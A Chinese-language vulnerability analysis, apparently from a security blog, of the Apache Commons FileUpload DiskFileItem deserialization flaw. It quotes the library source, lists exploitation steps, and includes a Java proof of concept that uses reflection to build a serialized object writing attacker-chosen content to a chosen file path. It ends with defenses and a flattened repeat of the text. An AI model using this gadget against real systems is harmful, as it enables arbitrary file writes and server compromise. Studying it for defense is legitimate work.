FileUpload1 反序列化漏洞(1)
字数 1322 2025-08-22 12:23:42

Apache Commons FileUpload DiskFileItem 反序列化漏洞分析

漏洞概述

Apache Commons FileUpload 组件中的 DiskFileItem 类存在反序列化漏洞,攻击者可以通过构造恶意的序列化对象,在目标系统上实现任意文件写入。该漏洞源于 DiskFileItem 类的 readObject 方法中存在不安全的反序列化逻辑,结合反射机制可被利用来写入任意文件内容到任意位置。

漏洞原理分析

关键类与方法

漏洞核心位于 org.apache.commons.fileupload.disk.DiskFileItem 类,主要涉及以下关键方法:

  1. readObject() - 反序列化时的入口方法
  2. writeObject() - 序列化时的方法
  3. get() - 获取文件内容的方法
  4. getOutputStream() - 获取输出流的方法

漏洞触发流程

  1. 反序列化入口:当反序列化 DiskFileItem 对象时,会调用 readObject 方法:

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        OutputStream output = this.getOutputStream();
        if (this.cachedContent != null) {
            output.write(this.cachedContent); // 关键漏洞点:将cachedContent写入输出流
        } else {
            FileInputStream input = new FileInputStream(this.dfosFile);
            IOUtils.copy(input, output);
            this.dfosFile.delete();
            this.dfosFile = null;
        }
        output.close();
        this.cachedContent = null;
    }
    
  2. cachedContent来源cachedContent 在序列化时通过 writeObject 方法设置:

    private void writeObject(ObjectOutputStream out) throws IOException {
        if (this.dfos.isInMemory()) {
            this.cachedContent = this.get(); // 关键点:通过get()方法获取内容
        } else {
            this.cachedContent = null;
            this.dfosFile = this.dfos.getFile();
        }
        out.defaultWriteObject();
    }
    
  3. get()方法逻辑get() 方法从 dfos 中获取数据:

    public byte[] get() {
        if (this.isInMemory()) {
            if (this.cachedContent == null) {
                this.cachedContent = this.dfos.getData(); // 关键点:从dfos获取数据
            }
            return this.cachedContent;
        } else {
            // 从文件读取数据的逻辑
        }
    }
    

漏洞利用关键点

  1. 控制dfos字段:通过反射修改 DiskFileItemdfos 字段,可以控制写入的内容
  2. 控制sizeThreshold:影响数据是存储在内存还是磁盘
  3. 控制repository:指定临时文件存储目录

漏洞利用分析

利用步骤

  1. 创建 DeferredFileOutputStream 对象并写入恶意内容
  2. 创建 DiskFileItem 对象
  3. 使用反射将 dfos 字段设置为恶意构造的 DeferredFileOutputStream
  4. 序列化 DiskFileItem 对象
  5. 目标系统反序列化该对象时触发漏洞

关键利用代码

// 1. 创建DiskFileItem对象
DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",
                    false,"1111",0,new File("C:\\target\\directory"));

// 2. 通过反射获取并设置dfos字段
Field dfosField = dfi.getClass().getDeclaredField("dfos");
dfosField.setAccessible(true);

// 3. 构造恶意的DeferredFileOutputStream
DeferredFileOutputStream maliciousDfos = new DeferredFileOutputStream(
    10000, new File("C:\\target\\directory\\malicious.txt"));
maliciousDfos.write("malicious content".getBytes());

// 4. 设置dfos字段
dfosField.set(dfi, maliciousDfos);

// 5. 序列化对象
ObjectOutputStream oos = new ObjectOutputStream(
    Files.newOutputStream(Paths.get("malicious.ser")));
oos.writeObject(dfi);

利用细节说明

  1. sizeThreshold控制

    • 设置较大的阈值确保数据存储在内存中,避免提前写入文件
    • 在反序列化时,较小的阈值确保数据能写入目标文件
  2. 文件写入位置

    • repository 参数指定临时目录
    • DeferredFileOutputStream 的构造参数指定最终写入位置
  3. 避免提前写入

    • 使用足够大的 sizeThreshold 防止 DeferredFileOutputStream 在构造时就写入文件

防御措施

  1. 升级组件:升级到修复版本
  2. 输入验证:对反序列化的数据进行严格验证
  3. 安全配置
    • 限制文件上传目录
    • 设置适当的文件权限
  4. 使用替代方案:考虑使用其他安全的文件上传实现

技术总结

该漏洞的核心在于 DiskFileItem 的反序列化过程中,通过反射可以完全控制文件写入的内容和位置。攻击者通过精心构造的序列化对象,利用反射机制修改关键字段,最终实现在目标系统上任意文件写入的能力。理解这一漏洞需要对Java序列化机制、反射API以及DiskFileItem的内部实现有深入认识。

Apache Commons FileUpload DiskFileItem 反序列化漏洞分析 漏洞概述 Apache Commons FileUpload 组件中的 DiskFileItem 类存在反序列化漏洞,攻击者可以通过构造恶意的序列化对象,在目标系统上实现任意文件写入。该漏洞源于 DiskFileItem 类的 readObject 方法中存在不安全的反序列化逻辑,结合反射机制可被利用来写入任意文件内容到任意位置。 漏洞原理分析 关键类与方法 漏洞核心位于 org.apache.commons.fileupload.disk.DiskFileItem 类,主要涉及以下关键方法: readObject() - 反序列化时的入口方法 writeObject() - 序列化时的方法 get() - 获取文件内容的方法 getOutputStream() - 获取输出流的方法 漏洞触发流程 反序列化入口 :当反序列化 DiskFileItem 对象时,会调用 readObject 方法: cachedContent来源 : cachedContent 在序列化时通过 writeObject 方法设置: get()方法逻辑 : get() 方法从 dfos 中获取数据: 漏洞利用关键点 控制dfos字段 :通过反射修改 DiskFileItem 的 dfos 字段,可以控制写入的内容 控制sizeThreshold :影响数据是存储在内存还是磁盘 控制repository :指定临时文件存储目录 漏洞利用分析 利用步骤 创建 DeferredFileOutputStream 对象并写入恶意内容 创建 DiskFileItem 对象 使用反射将 dfos 字段设置为恶意构造的 DeferredFileOutputStream 序列化 DiskFileItem 对象 目标系统反序列化该对象时触发漏洞 关键利用代码 利用细节说明 sizeThreshold控制 : 设置较大的阈值确保数据存储在内存中,避免提前写入文件 在反序列化时,较小的阈值确保数据能写入目标文件 文件写入位置 : repository 参数指定临时目录 DeferredFileOutputStream 的构造参数指定最终写入位置 避免提前写入 : 使用足够大的 sizeThreshold 防止 DeferredFileOutputStream 在构造时就写入文件 防御措施 升级组件 :升级到修复版本 输入验证 :对反序列化的数据进行严格验证 安全配置 : 限制文件上传目录 设置适当的文件权限 使用替代方案 :考虑使用其他安全的文件上传实现 技术总结 该漏洞的核心在于 DiskFileItem 的反序列化过程中,通过反射可以完全控制文件写入的内容和位置。攻击者通过精心构造的序列化对象,利用反射机制修改关键字段,最终实现在目标系统上任意文件写入的能力。理解这一漏洞需要对Java序列化机制、反射API以及 DiskFileItem 的内部实现有深入认识。